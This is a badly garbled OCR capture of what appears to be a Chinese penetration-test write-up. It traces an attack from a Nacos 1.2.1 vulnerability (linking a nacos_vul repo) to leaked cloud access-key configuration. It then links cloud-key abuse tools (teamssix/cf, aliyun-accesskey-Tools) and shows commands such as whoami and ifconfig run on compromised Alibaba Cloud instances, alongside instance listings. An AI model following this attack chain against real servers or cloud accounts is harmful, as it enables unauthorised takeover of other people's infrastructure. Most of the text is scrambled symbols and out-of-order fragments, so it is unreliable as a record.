FIBEREE, FEISEE LM

R 2 %%

ey G Rl
BRI AT {5 A S E A

https://github.com/Pizz33/nacos_vul
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@ Z =2

NACOS 1.2.1

BT | public

3 £ 3 CAE A5
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EcEF1E

* Group: DEFAULT_GROUP

&k
* MD5: 20 17feddfa
*EEAS: ce.o type=HW_OBS

ud.com

8ale|

&EX accesskeyid *I:I accesskeysecrets Eﬂ{ﬁﬁalﬁi‘%‘_ﬁ
HEETH
https://github.com/teamssix/cf/releases

https://github.com/mrknow001/aliyun-accesskey-Tools/releases/tag/v1.3

T 055 o
Bucket 7| %&
nnnnn e ) i . e -
— PR o, sy e iy e e e —
e e , =
#
%
- Emm
|
= e
rJ i\ r7 i "
#yd =
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AccessKeyID:

AccessKeySecret:

EHID

1 il

2

3 =

4 -

5 i

6 i-.

7 i

Bl

9 i

10 i-...

{ g
1
ifconf
Comman
Comman
root
Comman

— cni-po

SERIID:

R

i
eni-po

SRENE!

LTA
Eve 8o9fm
TESFEEIHE FHERR RifiE ETHE
/1 (F) 2 1. Alibaba Clou... Running
& GBI iz \... Alibaba Clou... Running
(R iz 3... Alibaba Clou... Running
1 R 2 3... Alibaba Clou... Running
e (YD Az le... Debian 11.6 ... Running
£/ (F) 2 le... Debian 11.6 ... Running
@ (R 2 ... Alibaba Clou... Running
@ (F) iz e... Alibaba Clou... Running
=1 () i e... Alibaba Clou... Running
S (YD iz ). CentOS 8.5.. Running
£/ (F) iz id... Windows .. Running
ig
d :
d :whoami
d :ifconfig
dmand: {1ags=4099<UP, BROADCAST, MULTICAST> mtu 1500
inet
ineth feB0::2c0D Feff:7Thd5 prefixlen 64
ether 2e:0 txqueuelen 1000 (Ethernet)
6 bytes 700398 (683.9 KiB)
s 0 dropped 0 overruns 0 frame 0
bytes 13786122 (13.1 MiB)
dropped 0 overruns 0 carrier 0 collisions 0
dmanl: lags=4099<UP, BROADCAST, MULTICAST> mtu 1500

tecd5:dTff: fel:2420

d7:01:24:20

prefixlen 64

txqueuelen 1000 (Eth

)

* Data ID

* Group

faik

* MD5:

* ECEM

337 3337

test.yml

DEFAULT_GROUP

b96826018ea5d9d09c2b6309f56153ee

172
172
172
172
172
172
172
172
172
172
172

AP

seopeid 0x20<1ink>

scopeid 0x20<1ink>

=EIBENIKE, BEiEnavicatiEi

2FIP

04;
04;

; sg-
- 5.

=2HE

; 5g-...

sg-...

G-

i 50~
04;

sg-...
sg-...
5g-...

. D
v §Q-u
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EE
e
e
e
e
e
i

AR
AZAHEREE
BT
2AZHHIRER.
2R
2HZHHIRER.
2AZHHIRER..
2R
2HFHHEER.
HELHERER..
2B ERER...
SiZ4HRER. .

HEIA

AT

fERRE
2023-10-10T
2023-10-10T
2023-09-11T
2023-09-11T
2023-04-24T
2023-04-24T
2023-02-06T
2023-02-06T
2023-02-06T
2022-08-02T
2022-07-20T

e lE g

B A 4 SRS
LEME.

R
i
i
BllERAE]:
IPvG:
FE#R:
FE:
RO
wP:
R
B#RIP:
IREFEHEN:

b
i
A

ALL

J7E)s A

il

2024/7/28 21:59



